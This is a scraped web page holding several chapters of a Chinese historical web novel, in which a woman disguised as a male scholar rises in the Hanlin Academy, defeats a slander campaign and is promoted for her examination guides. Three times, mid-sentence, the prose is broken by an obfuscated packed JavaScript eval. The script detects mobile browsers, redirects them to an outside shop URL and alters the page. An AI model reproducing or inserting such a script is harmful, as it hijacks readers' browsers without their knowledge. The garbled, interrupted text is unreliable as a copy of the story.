他的目光在“傅文松”和皇帝表弟之间流转一番,他有预感,这位傅兄绝不会如其他寒门士子一样进了朝堂就成籍籍无名之辈。 “投机取巧之作,过誉了。要说作诗水平,还得看顾兄和王兄,两位的诗作傅某有幸拜读过,惭愧至极。” 顾靖川:“傅兄谦虚了。” 王砚秋:“就是,傅兄就别谦虚了,快来尝尝这个菜!” 8. 翰林院 “傅兄,我有话要跟你说。”宴会后,四人在城门口即将分别之际,顾靖川突然开口。 江幼宜无视李云承和王砚秋两眼好奇的模样,点点头,朝旁边伸手:“这边说。” “傅兄,我心有愧,不吐不快。” “这是做什么?”江幼宜把行礼的顾靖川扶起来。 “我……”这件事对于一个天之骄子来说实在难以开口,“其实你才应该是状元。” 江幼宜一愣:“何出此言?” “你的殿试文章我看了,写得比我好,状元本应该是你的。”顾靖川满脸愧疚。 江幼宜笑道:“原来顾兄就是为了此事,名次如何都是陛下钦点,陛下自有他的评判标准,顾兄大可不必放在心上。” “可是,我祖父是首辅,陛下又是我的表弟,这些关系摆在这里,你不在意吗?” “素来听闻顾家大公子文采斐然,才名远扬,国子监内考核次次头名,乡试会试均得榜首,如此成绩得殿试榜首理所应当,而会试我只得第四,综合考量也该是顾兄头筹,顾兄无需妄自菲薄。” “傅兄大义,顾某佩服,如傅兄不介意,你我可以名字相称。” “自然可以,靖川。”江幼宜微微一笑。 “嗯,文松。” 两人相视一笑,走回城门边。 “靖川,王兄,时候不早了,就此别过。”江幼宜朝两人行礼拜别。 “哎哎哎,先别走,你怎么喊他靖川,喊我王兄?”王砚秋一脸不服气。 江幼宜好笑:“砚秋?” “这才对!”王砚秋指着自家马车的方向,“文松,云承,坐我的马车吧,你们住哪儿?我送你们回去。” 江幼宜婉拒:“不用了,我们住得挺远的,去车行租辆马车就行了,省得你一来一回折腾。” 顾靖川:“文松,那你是不是要换个地方住?不然之后上值要花费很多时间在路上。” 江幼宜点头:“这几天正准备去看,等调令下来确定好就换。”现在的小院确实太偏了,本来古代上班时间就早,再住得远,凌晨两三点就得起床,她可受不了! “我家有一个之前做仓库用的宅子,距离翰林院不远,闲着也是闲着。如果文松不介意,可以租给你。”顾靖川看江幼宜想要推辞,忙道,“市价。” 江幼宜笑出声:“多谢靖川,那我就恭敬不如从命了。” “文松,你都要租他家宅子了,今天必须坐我的马车,我今天正好把你们送回去认认路,等你要搬家的时候我去帮你搬家。”王砚秋不由分说拽着江幼宜和李云承就往自家马车那边去。 “那也多谢砚秋了。”经过今天的相处,江幼宜也了解王砚秋是个什么性子。王砚秋是家中幺子,备受宠爱,自恃才高八斗,怎奈通往文学高山的道路上杵着一个顾靖川。 他们俩年龄相仿,不论是国子监还是科举,有顾靖川在,王砚秋只能在他身后当个万年老二,所以王砚秋总是处处想争顾靖川一头,有点儿小孩子脾气,没什么坏心思,单纯得可爱。 吏部签发的任职凭证很快就送到江幼宜手里,确如惯例,顾靖川是翰林院修撰,王砚秋和她是翰林院编修,三日后赴任。 时间紧,江幼宜没办法亲自回家报喜,只能雇人给姨母传信,还捎回去一笔钱。她这一任职,不知什么时候才能有时间回去一趟,要尽快挣钱,买个宅子把姨母和表哥接过来,京城的医疗条件也比县城好,能让表哥早点好起来。 赴任前一日,王砚秋果然如他所言找到江幼宜租住的小院,还额外赶了一辆马车要帮江幼宜和李云承搬家,顾靖川也来了。 顾靖川所说的宅子面积不小,之前应该的确是做仓库的,院子很大,能住人的房间却不多,只有三间,正好她、李云承还有李云承的书童墨砚一人一间。 宅子顾靖川已经提前让下人帮忙打扫干净了,江幼宜和李云承可以直接拎包入住,月租二两银子,还有李云承跟她平摊,很划算。 这里距离翰林院真的很近,连车马费都省了,直接每天步行上下班都行。 次日江幼宜和顾靖川王砚秋一同到翰林院赴任,一位侍讲带领三人简单介绍了一下翰林院里的同僚还有日常的工作,给三人安排在同一个屋子里,之后就再没出现过。 这间屋子里还有一个人,跟顾靖川一样是修撰,叫孟宪和,是往届榜眼,在他们进去时热情打招呼,说有什么不懂的可以问他。 翰林院任职的第一天,江幼宜通过观察孟宪和得出这里可以摸鱼的结论。 之前她答应过要帮李云承备考朝考,翰林院里别的没有,书管够,而且还有外面买不到的孤本,但翰林院里的书是不能外带的,所以江幼宜在完成自己本职工作之后都在抄书。 有了这批资料,再加上顾靖川和王砚秋的热情帮助,李云承不出所料通过朝考,正式成为一名庶吉士,四人一起在翰林院共事,同时进入翰林院的还有另外二十几个庶吉士。 “云承,下值后一起去吃饭吧。”与李云承同屋的周元才突然开口。 李云承有点奇怪,进翰林院这几天,这个周元才总是对他很热情,但他对别人的态度却让他感到不舒服,所以他并不愿意跟对方来往太密切。 “不了,今早吩咐了家里的厨娘早点做饭,不回去就浪费了。”他跟江幼宜都不会做饭,厨娘找的附近女郎,每日只负责做饭收拾厨房,其它时间可以回自己家。 李云承跟书童占了两间房,江幼宜跟他平摊房租,李云承觉得他占了便宜,所以雇厨娘的钱李云承坚持要自己出。 “那有什么,一顿饭而已,去吧去吧,我知道有一家酒楼特别好吃,我请你。” “今天真的不方便,改日吧。”李云承看着自己手里的书,头也不抬。考上庶吉士并非万事大吉,三年后的散馆考试成绩优异才能留在翰林院,否则还是有可能被外放。 “好吧,那我们下次再约。哎,我看你跟咱们这一届的一甲三人走得很近,你们很熟吗?” 李云承蹙起眉头,看向对面的人:“你问这个做什么?” “我就随便问问,你不是京城人士吧?怎么会认识顾编撰和王编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614393|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修啊?” 李云承被烦得不行:“我和傅编修是同乡。” “哦,原来是这样啊。那傅编修怎么看起来跟他们这么熟啊,经常同进同出,看着不像刚认识的。”周元才看李云承面色不耐,连忙换了话题,“其实我就是想请教请教你,朝考怎么准备的,居然能考第一名。” 听到这里李云承面色才缓和一些:“是文松帮了我很多,我能考上进士也多亏文松,就是傅编修。”朝考顾靖川和王砚秋也帮他很多忙,不过这些他自己知道就行,这两人身份尊贵,他说出来有攀附权贵的嫌疑。 “哦,原来如此,傅编修还真是厉害。” “嗯,那是当然。” 周元才没有再缠着他聊天,李云承松了一口气,拿起书继续看,他要努力留在翰林院,才不负别人对他的帮助。 平静的日子没过几天,翰林院里流言四起。 “傅编修,你是不是得罪什么人了啊。”孟宪和放下手里的书,端起旁边的茶盏慢悠悠品了一口,那悠闲的样子仿佛刚刚问的是中午吃的什么饭。 “嗯?孟大人指的是?” “现在到处在传你的科举名次有水分呢。”孟宪和低头拿茶杯盖拨弄茶叶,并不看江幼宜。 江幼宜四平八稳,依旧维持着原姿势看书:“原来是这件事。” 孟宪和这才抬头,一挑眉:“听你的意思好像并不意外?” 她放下书,朝孟宪和拱手:“多谢孟大人提醒,这件事我会处理好的。”旁人听到这种传言只会默默跟她划清界限,孟宪和能提醒她,她十分领情。 “太过分了!到底是谁?怎么能这么诋毁文松?被我找出来必须要痛扁他一顿!”王砚秋人还没进屋,江幼宜就听到了他愤怒的声音。 “说的可是有关我科举名次的事?” “文松,我去跟他们解释清楚,你明明……”顾靖川跟在王砚秋身后进屋,他话还没说完就被江幼宜抓住胳膊。 “靖川,我那天的话你可是一直没听到心里?” 顾靖川脸色一僵,把头往旁边偏了偏,避开了江幼宜的目光。他只是从小赢惯了,突然间有人告诉他你输了,但是因为你的家世,你还是最后的赢家。他开始怀疑自己,从小到大他真的一直是靠实力赢的吗? “靖川,你不相信你自己,难道还不相信砚秋吗?”王砚秋家世也不差,更何况他那么骄傲一个人,因为学业比不过顾靖川其它地方处处都要争一头,现在也幸好王砚秋爱争,不然顾靖川真要钻到牛角尖里出不来了。 王砚秋乍被点名一脸懵,两个人的对话他听不懂:“什么意思?有我什么事?” 顾靖川听到这句话脸色果然缓和不少:“文松,这件事由我去说自会就此平息。”他早就应该公开这一切,这样文松的名次也就不会被质疑。 江幼宜摇头,顾靖川真去说了恐怕事情会更严重,质疑皇帝排名的公平性,有损皇帝权威,还容易挑起寒门和世家的争端。 “不用,我有办法,不过需要靖川帮我查个人。” “什么人?” 9. 圣旨 第二天,江幼宜在请示过翰林学士张大人之后把自己默出来的殿试文章贴在翰林院门外。 “各位同僚,近期关于我科举名次不实的流言传得沸沸扬扬,在此我作如下澄清:首先,本人科举途中绝无作弊贿赂之举;其次,我的殿试文章经张大人允许张贴在门外,各位可以自行观看,文章有无水分自在人心。”江幼宜看向一边,顾靖川家的护卫正抓着一个人。 江幼宜作为新闻工作者,深知造谣一张嘴,辟谣跑断腿的道理,只是澄清,是没有人相信的,必须要尽快找到谣言的源头,让造谣者付出代价。 “你们凭什么抓我,我是举人,可以见官不跪,我要去衙门状告你们!快放开我!” 江幼宜指着那个人:“最后,这个人散播不实谣言,居然胆敢质疑陛下亲笔御批的科举排名,是为大不敬!” “你们没有证据,这是污蔑!”那个人一听随口胡说的几句话居然被扣这么大的帽子,顿时紧张起来。 “进了诏狱自然会有证据。”两个身穿青绿锦绣服的锦衣卫从护卫手里接过人。 那人一看见锦衣卫直接吓晕过去,锦衣卫直接听命于皇帝,连在朝官员都能直接抓走,更何况一个小小的举人。 江幼宜擦肩走过周元才身侧,低声道:“周兄,自求多福。” 众人见造谣者已被锦衣卫带走,纷纷散去,周元才一人留在原地,脸色煞白。 李云承愤愤道:“我就说周元才怎么一直缠着我问你们的事儿,原来是打的这个主意。” “好了,云承,没必要生气,他这不是已经被锦衣卫带走了嘛。”江幼宜用公筷夹了一筷子菜到李云承碗里,“来,多吃点,消消气。” 周元才当时没有跟造谣者一起被抓走,是下值前才被带走的。 “文松,我也要!”王砚秋眼巴巴端着碗。 江幼宜笑笑:“来,你也多吃。”她也夹了一筷子菜到王砚秋碗里,真是个小孩子心性,什么都要争一争。她下意识扭头看一眼顾靖川,发现顾靖川虽然没端着碗,但也满脸写着期待,她只好也给顾靖川夹一筷子。 怎么回事?怎么突然就成幼儿园园长了? 顾靖川好奇:“文松,你怎么知道是那个人散布的谣言?”江幼宜让他帮忙找人,只说找一直到现在没离开京城会试落榜的南直隶考生,也没有名字,他带着疑惑让护卫去找,没想到真能找到,而且就是散布谣言的那个人。 “恩荣宴那天这个人就在榜单下试图用言语挑起南北对立,当时他话里透露出的就是他是南直隶人,而且他那天没有穿进士巾袍,肯定不在中榜之列,他话语里矛头直指我这个殿试第三名,而恰好会试第三名的周元才也是南直隶人,殿试被我赶超没进一甲,所以我猜就是这个人在背后指使他。” 顾靖川赞叹:“原来如此,文松真是细致入微。” “是啊是啊,我当时跟文松一起听到那个人在榜下胡言乱语,我都没有想到背后还有这么多事儿。”李云承挠挠头,“当时光顾着生气了,还想直接上去跟他吵架来着。” “我也不过是猜测,还得多亏了靖川帮我找到这个人,不然我没办法这么快证明自己的清白。”谣言一定要在发酵起来之前澄清,不然等大部分人都知道了,他们只会顺着谣言往他们想要的方向揣测,对于当事人的澄清视而不见。 江幼宜端起酒杯:“来,靖川,我敬你一杯。” 顾靖川端起酒杯,跟江幼宜碰了一下:“文松,我们是朋友,不用这么客气。” 他们此时正在江幼宜和李云承租的顾靖川家的院子里,这里距离翰林院很近,今天又解决了这样一件大事,所以四人来这里一聚。 酒足饭饱,顾靖川和王砚秋各回各家,江幼宜和李云承也各自洗漱回房。 次日,一封圣旨降临翰林院,谢怀川让江幼宜负责修订科举参考书一事。 非进士不入翰林,非翰林不入内阁。翰林院虽清贵,但晋升需要熬资历,江幼宜正愁没有机会施展抱负加官进爵,这不就来了。 应试教育最推崇的方法论是题海战术,市面上打着各种噱头的辅导资料层出不穷,没人比她这个现代人更懂应试参考书! 写文章作诗她不是最厉害的,找学习重点、快速提分才是她的强项。战绩如下:一学期不翻书,考前一周突击冲刺拿高分;零经验两年内会试第四殿试第三,科举一甲上岸;一个月内助同窗从会试吊车尾闯入殿试二甲,得进士出身,打破晋升天花板。 江幼宜应对考试的技巧可谓炉火纯青,别说只是在原基础上修订参考书,就是重新出一套也完全不虚! 她现在虽没资格上朝,却也已经窥到朝堂一角。寒门不受器重,朝堂是世家的朝堂。 寒门本就难出贵子,教育资源天差地别,贫民家庭买不起书籍,私塾夫子水平如何全凭运气;世家贵族家里有专门的藏书阁不说,还能开族学。 而世家为了垄断,家族藏书从不公开,市面上流通的科举参考书也非常少,只有国子监和翰林院编纂的几本,还都是大部头,仅是对四书五经等书籍的释义,无关应答技巧。 如果让江幼宜来评价,她只能说,现今科举辅导资料的市场几乎等同于一片空白。一片空白好啊,一片空白等于她可以大展拳脚! 当朝科举考试内容分为三大部分,八股文、试帖诗和策论。既然分了模块,那考试就有侧重点,其中八股文占比最重,其次是策论,最后是试帖诗。 有了考试侧重点,再结合相应模块的提分难度,自然而然就有了提分技巧。 先来看占比最重的八股文,八股文以经书中的句子为题,让学子以圣贤口吻阐明其中的义理,且要按照特定的格式来答题。题目大部分出自四书,其次是五经。答题格式和视角固定,考试范围固定,那么只需要把每部分应该写什么、怎么写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614394|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总结出规律,作答的时候套公式即可。 然后是策论,策论是一种论述性文章,考察学子对政治、经济、或社会问题的见解和主张。这个江幼宜就更有话说了,现在的学子写不出高分策论主要原因有二: 一是消息闭塞,不通时政,也就是现代人所谓的信息差,在信息高速广泛传播的互联网时代,都还存在着巨大的信息差,更遑论古代,而策论往往考察的就是当下的时政问题; 二是学堂里教四书五经释义,教怎么写锦绣文章,却不教如何解决实际问题,理论脱离实际,所以考生写不出切实可行的解决策略,只停留在纸上谈兵的阶段。 知道了策论的痛点所在,就有解决办法。现代网友只靠接收碎片化信息都能在网上坐而论政,如果能有一本书把民生问题和解决民生问题的有效策略都汇总出来,供学子参考,不说让学子成为政治家级别,起码能提高策论答题水平。这样科举取士也能取中真正有解决问题能力的官员。 至于试帖诗,首先占比不高,其次诗的水平高低靠百分之九十九的灵气加百分之一的汗水,并不像八股文和策论,通过大量练习就能得到明显提高。灵气是学不来的,就像现代人熟背唐诗三百首和宋词一百篇,也没有出过第二个李白和苏轼。 江幼宜缕清思路,先把需要修订的科举参考书找出来翻阅。 她通读一遍,果不其然,翰林院这套参考书也不过是将四书五经的内容注释了一遍,而且还很晦涩难懂,没有根据学子水平进行分级,这套书至少要秀才以上的人才能独立使用,秀才以下的还需要夫子讲解,那这套书就对秀才之下的学子失去了参考意义。 她一边读一边把自己的想法列在一边,陛下的旨意是让她修订,所以已有的参考书她不会大改,只会在原基础上增添一些内容,这也是为了防止参考书突然大改让学子不习惯。 至于她想的那些,内容跟这套书格格不入,不如重新编一套,到时候新旧两版一起呈上去。 “傅编修这么用功啊?”孟宪和看江幼宜这么认真,悄声道,“上面让你重修参考书,其实你只需要看一下书页有无破损,或者有没有错别字就行了。” “唔?原来是这么个重修法?”江幼宜抬头,怪不得翰林院得熬资历,原来大家都是这么干活的,这么无功无过的,得熬到猴年马月去啊。 “新人不要总想着趁机出头,所谓‘枪打出头鸟’①,维持现状才是最稳妥的。”孟宪和品着茶,老神在在,“入了贵人青眼也不见得是件好事。” 殊不知多少前人想要改革,以为当了官就能改变一切,可是改到最后连命都搭进去了,史书却对其记载寥寥。这做官啊,首先得识时务,活得久才有机会。 “多谢孟大人,我有不得不做的理由。”她也明白木秀于林,风必摧之②的道理,可是她每晚一天,千千万万的女性就被多压迫一天,她必须抓住每一个机会! 10. 升迁 “文松,我们来帮你,需要我们做些什么?”顾靖川开口。 王砚秋点点头:“嗯,文松,你不要跟我们客气。” 江幼宜朝孟宪和露出一个得意地笑容,脸上明晃晃写着,看,还是有人帮我的。 孟宪和摇头轻叹,年轻人啊,真是不撞南墙不回头,罢了罢了,谁还没个年轻气盛的时候啊。 “靖川、砚秋,你们帮我找找《食货志》和各地的地方志,我想汇总一本涵盖各地民生状况、政策执行以及自然灾害救治等情况的书,再结合历年科考真题和优秀进士文章,编一本策论参考书。” 策论跟新闻共通之处颇多,她决定先从策论入手。 王砚秋赞叹:“文松,你这脑子是怎么转的,居然能想到这么编撰参考书!若是我在科举前有一本这样的书,肯定能考过姓顾的!” 顾靖川无奈一笑,对于时时刻刻都想着压自己一头的王砚秋,他真是毫无办法,想让他一次也不许,说男子汉大丈夫,必须要靠实力光明正大赢一次! 他们帮忙把江幼宜需要的书找出来,摆了满满一桌子,顾靖川看着江幼宜专注的神情,怪不得自己的殿试文章比不上江幼宜,只说这份切实为民的心性和行动力,他就比不上。 “我家有不少祖上传下来的藏书,我明天带来。” 江幼宜抬头:“太好了!谢谢靖川。你家里应该不介意吧?” “没关系,只是一些游记而已,想来祖父不会介意。”他偷偷带出来好了。 “我家也有一些,我明天也带来,家里人巴不得我多读些书,肯定不介意我带出来!” “那也谢谢砚秋了。”江幼宜看向对面的孟宪和,“孟大人?” “别看我,我是寒门,家里可没什么藏书。” “我知道,听闻孟大人文章写得极好,在下有一事相求。” 孟宪和一脸警惕:“休想拉我上你们的贼船。” “孟大人,写几篇文章的事儿,对您来说就是个消遣,哪就成上贼船了,若孟大人不愿透露真实姓名,就取个笔名呗。” 孟宪和看向对面,六只眼睛眼巴巴盯着他:“好吧好吧,你们可别说是我写的。” “那是当然,您自己不想暴露,我们绝对不说!来来来,砚秋你写院试的,靖川你写乡试的,孟大人您文章写得最好,您来写会试的。”参考书当然少不了范文,把其它的都安排出去,江幼宜自己开始写童生试的。 “文松,为什么我写院试,姓顾的写乡试?” “那我们换换,我写院试,你写乡试?” “哼,这还差不多!” 江幼宜全程没有理会,二胎家庭再怎么努力一碗水也是端不平的,有矛盾自己解决更有利于家庭和谐。别问她一个牡丹花为什么这么懂,因为网友不止是政治家,也是教育家。 早朝,谢怀川坐在明堂上百无聊赖,看着殿中官员为了一点鸡毛蒜皮的小事来回拉扯,刚登基的时候还能当乐子看,时间久了是真没意思。 真正有关天下百姓的大事已经被内阁自行做完决策,每天拿到朝堂上来讨论的都是些无足轻重的小事,也是劳烦这些股肱之臣每天陪他演戏了。 他捂着嘴打了个哈欠,懒洋洋靠在椅背上,听吏部左侍郎就起居舍人的人选和刑部右侍郎争论,起居舍人是正六品,负责记录皇帝的言行举止,作为编修史书的辅料。 吏部中意上一届状元人选,从六品的编撰三年期满,可以正常晋升正六品的官职,刑部则认为这状元三年中并无特殊贡献,不应升职,他推荐鸿胪寺丞,前段时间帮助他们破获北狄商人被杀案,成功化解他们跟北狄的矛盾,避免了一场战争,且也是从六品,立了如此大功,理应升职。 谢怀川听着快笑出声了。 吏部推举的人选看似合理,实则这位状元是世家子弟,跟吏部左侍郎胞弟妻族有着千丝万缕的关系,而且刑部说的不错,官员任期虽是三年,但也不是到期就能升迁的,无功无过只能继续任原职或者平调。 刑部推举的这个鸿胪寺丞确实有功在身不假,但这人是刑部右侍郎外家表姨的儿子,只是个同进士出身,他为官以来所有的功绩都是抢占的别人的,朝堂上拿出来说的北狄商人被杀案更是为了让其升职自导自演的。 谢怀川往下看了一眼,首辅和次辅站在前排,看似对朝堂中的争论漠不关心。 自他登基,祖父跟母后的联盟分崩离析,亲父女在朝堂上反目成仇,母后扶持起次辅一党跟祖父对抗,次辅从寒门士子爬到今天的位置母后功不可没,可是在他成年后,也是次辅一党率先以皇帝已成年,后宫不得干政的理由将母后排挤出朝堂。 这些年,朝堂从首辅和太后的战场变成了首辅和次辅的战场,殿中这些官员沾亲带故,多得是两党各自塞进来的人,他则从头到尾都是个旁观者。 现下殿中争执的两人也是各属一派,这样的闹剧几乎每天都在上演,谢怀川闭上眼睛,等他们自己吵完。 “请陛下定夺!” 不知是谁突然大喊一声,一嗓子把昏昏欲睡的谢怀川喊清醒。 谢怀川捏捏眉心:“嗯?” “日前翰林院新修的科举书已经修订完成,是否要按照新版增印,请陛下定夺。” 是翰林院的翰林学士张司仁。 “哦?呈上来。” 科举参考书修订是惯例,每逢新科进士入翰林,都会修订一版。他对江幼宜写得话本子很感兴趣,能从中感受到生命的坚韧和不畏强权的斗争精神,他特地把这个差事指定给江幼宜,也是想看看她会不会给他带来什么惊喜。 旁侍太监把书呈上来,厚厚一摞,谢怀川一一翻看,旧版的参考书增添了不少内容,能更好帮助学子理解,对比修订前的书册,这套书的辅导作用已经有了很大的提升。 不过可能是谢怀川对江幼宜的期待太高,这套书虽好,还没能达到他想要的那种感觉。 他把翻过的书册放在另一边,继续往下翻。 接下来这些都是他没见过的名字,《八股详解》、《策论大全》、《优秀试帖诗集锦》、《历届科举真题及优秀文章精选》,按层次分成了童生试、院试、乡试、会试不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614395|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同版本。 没错,就是这种效果!这一整套书,尤其是《策论大全》,里面的民生之策因地制宜,这哪是科举参考书,简直称得上是地方官员处理民生问题的指导手册,就该让他们人手一本! 有了这套书,何愁朝堂上没有实干之人!谢怀川把书合起来放到一边,看向下首:“不知阁老可有看过这套新修的科举书?”该是没看过,若是看过,根本呈不到他眼前。 “启禀陛下,臣尚未看过。” 果然!不过没看过好哇。 谢怀川尚未说话,张司仁先行告罪:“启禀陛下,是臣的疏忽,这套书是今日早朝前才修订完毕交给臣的,臣斗胆直接带到了早朝上,未通过内阁,请陛下恕罪。” “一套书而已,何罪之有?现在拿给阁老看也是一样的。”谢怀川把单拿出来的旧版推到一边,由太监呈给了顾松涛。 顾松涛把书翻开,一眼就注意到增添的内容。 寒门和世家之所以在科举取中率上存在差异,是因为世家资源更多,这其中就包括对科考经义的解读。 世家代代传承,本身就有文化底蕴积累,家中子弟只是耳濡目染就能学到许多,再通过自身权势财力去招募顶级师资,对于经义的理解就更上一层。 而寒门的途径只有夫子和参考书。 这套书,增加了对经义的解读,也就无意中缩小了寒门和世家的差距。 怪不得张司仁要绕过内阁把书直接呈给皇上,不过寒门凭这一点点释义就想赶超世家,还差得远。 “改编这套书的人也算有点能耐。”顾松涛直接把书给了旁边的孙卓坤,“孙大人也看看吧。” 比起他,有人更不想让寒门冒头。 谢怀川看孙卓坤翻完了,问道:“孙阁老?如何?” “回禀陛下,这书……很好。” “既如此,那就按这版刊刻吧。” 孙卓坤不想让这套书刊刻,但这书一来增添内容不多,二来确实对学子有益,他找不出拒绝的理由,他看到案几上还有一摞书册:“陛下,那些也是吗?臣还没看过。” “这些是朕让张大人寻来的最近民间时兴的话本子,莫非孙大人也对话本子感兴趣?” 孙卓坤一噎:“这倒是不曾……” “两位阁老都说这书编得不错,也该对编书人有所赏赐,这起居舍人之位就给这编书人吧,张大人,这书是谁所编?” 张司仁拱手:“启禀陛下,是今年新科探花郎,翰林院编修傅文松。” 谢怀川颔首:“嗯,那就擢升傅文松为起居舍人。” 吏部左侍郎赵同新和刑部右侍郎裴瑾傻眼了:“陛下,傅文松只是个七品,直接升任六品不合规矩。” 谢怀川往后斜靠在龙椅背上,手指搭在扶手上轻轻敲击:“这书是两位阁老都夸赞过的,编书人心有巧思,惠及全天下读书人,升任中书舍人不为过。” “陛下英明!”首辅党一位大臣率先站出来支持。听说傅文松跟顾首辅家的长孙关系还不错,也算他们这边的人了,只要不落到次辅派就行。 11. 庆祝 “圣旨到!” 话落,一位面无白须的太监出现在翰林院,正是传胪大典那天给江幼宜宣旨的那位。 曹伯忡一进门就对上院内江幼宜的脸,笑眯眯道:“傅编修,接旨吧。”他果然没看错,陛下就是看中了这位大人。 江幼宜一撩官袍,下跪听旨,她垂着头,心思千回百转,观曹公公面色,这封圣旨肯定是好事,应该跟她修订的科举参考书有关。 “奉天承运皇帝,诏曰:翰林院正七品编修傅文松,学富五车,才高八斗,所撰科举参考书为天下学子谋福祉,深得朕心。朕观其德才兼备,堪当大任,特擢升傅文松为正六品起居舍人,望尔秉持忠心,恪尽职守,勿负朕望,钦此!” 江幼宜伸出双手:“臣接旨。” 照例偷偷塞给曹公公一个荷包,曹公公满意地离开了。 “太好了文松,今天一定得出去大吃一顿庆祝庆祝!”王砚秋一骨碌爬起来站到江幼宜身侧。 顾靖川也在一旁附和:“是啊文松,你短短时间就能跃升起居舍人,一定得好好庆祝一番。” 李云承一手搭上江幼宜的肩:“这下文松的俸禄变高了,今天必须得宰你一顿才行!” 下值后,四人一块儿出了翰林院,翰林学士张司仁看着四人背影,轻叹一口气。 升迁固然令人欣喜,可是还没入朝堂就已经树敌无数,也不知道傅文松能走到哪一步。不过若是重来一次,他还是会选择把书呈上去。 王砚秋带着几人来到了明月楼,他得意地伸手:“这就是我说的全京城最好吃的酒楼,我跟你说,他们家的八宝鸭一绝,等会儿你们一定要尝尝。” 明月楼是京城最大的酒楼,有四层高,一楼是大堂,中间设置了舞台,有舞女歌女在此表演,二楼以上都是包厢。 王砚秋带着人一进门,就有小二迎上来:“王少,您今天还是老样子吗?” 王砚秋赶紧摆摆手:“先带我们找个包厢吧。”一楼大堂人多嘈杂,而且欣赏歌舞视线不好,他从来不在一楼吃饭。 小二带着他们进到三楼一间空房,递上菜单:“王少,您看您今天要点些什么?” 平日里王砚秋经常呼朋唤友来这里吃饭,身份地位都是其中最高的,是以今天小二也以为是这样,进门直接把菜单递给王砚秋。 王砚秋把菜单递给江幼宜:“文松,今天你是主角,你先来点。” 江幼宜没扭捏,接过菜单扫两眼,嗯,不愧是京城第一酒楼,这菜价定得很符合它第一的定位!还好她不纯靠俸禄生活,不然这一顿饭就给她干穷了。 她点了王砚秋推荐的八宝鸭,又点了另外两个招牌菜,把菜单传给其他人:“你们随便点,今天我请客。” 王砚秋一脸坏笑:“真的?那我可真随便点了!” 江幼宜捂着胸口做心痛状:“点吧点吧,一顿饭把我吃穷了,以后我的伙食就你们三个包了!” 王砚秋拍拍江幼宜肩膀:“哈哈哈哈,就是我一个人也养得起你。” 四个人点完菜,小二退出去,不一会外面响起敲门声,进来两个姑娘。 两个姑娘进门直奔王砚秋,一左一右挨着他坐下,挥舞着衣袖娇嗔道:“王少,您可好久都没来了。” 王砚秋一抬头,六只眼睛齐刷刷看着他,平时跟那群狐朋狗友一块儿混,都会有姑娘来陪酒,他当时觉得很正常,现在却尴尬起来。 两个姑娘看着屋子里另外三个人,娇羞捂嘴:“王少,您今天带来的公子都好年轻俊俏呀。” 江幼宜雷达滴滴响,吃饭可不兴找人陪酒啊:“砚秋,这是?” 王砚秋干笑两声,他刚刚一进门明明摆手了,怎么还让人进来了,王砚秋把靠在他身上的姑娘推离:“我们今天不需要陪,你们先出去吧。” 两个姑娘面露委屈:“王少……” 王砚秋熟练地从怀里摸出两个小银锭:“给,先出去吧。” 两个姑娘接过银子笑起来:“谢谢王少。”然后非常痛快地离开了。 “王少真是艳福不浅。”顾靖川看了王砚秋一眼,家里管他管得严,他从不曾出入风月场所,连酒楼都来得少,竟不知这王砚秋平日里看起来傻里傻气的,还是个情场老手。 王砚秋头皮发麻,深觉自己又被顾靖川给比下去了,干巴巴道:“哈哈,大家别误会,这个楼里的姑娘都是只卖艺不卖身的。” 这俩人……江幼宜正愁怎么缓解一下气氛,小二敲门进来上菜,她赶紧道:“来来来,快尝尝砚秋倾情推荐的八宝鸭。” 李云承也应和:“是啊是啊,来京城这么久,我还是第一次来明月楼吃饭呢,大家快动筷子。” 气氛好不容易缓和一点,隔壁包间突然传来一声咆哮。 “那个傅文松是个什么东西,也敢抢我的位置!” “据我所知,这傅文松只是一个农家子。” “农家子?我居然输给一个农家子!” “刘少息怒,他一个农家子无权无势,这次就是误打误撞得了陛下青眼,估计也就止步于此了,刘少您是裴侍郎表弟,又背靠孙阁老,以后有的是机会。” “你懂什么?这起居舍人虽品级不高,但可以整日在皇上面前露脸,那还能愁升迁之路吗?这么好的机会居然被一个农家子给抢了。” “能在皇上面前露脸又如何,这朝堂,皇上说了可不算……” “小点声!你不要命了?” “嗤,这有什么不能说的?我说的有错吗?咱们这皇帝充其量就是个傀儡,当家做主的还另有其人呐。” “就是说,那傅文松当上起居舍人又如何?真以为背靠皇上就万事大吉了吗?没有一点根基,还不是稍微用用手段就能把他给搞下来!” 江幼宜看王砚秋想去隔壁找麻烦,一把拉住他,朝他比了个“嘘”的手势。 她倒要听听这些人准备怎么把她搞下来。 “唔,听说那个傅文松跟顾家长孙关系不错,他是不是投了那边?” “我听说皇上下旨提拔他的时候,第一个响应的就是那边的人。” 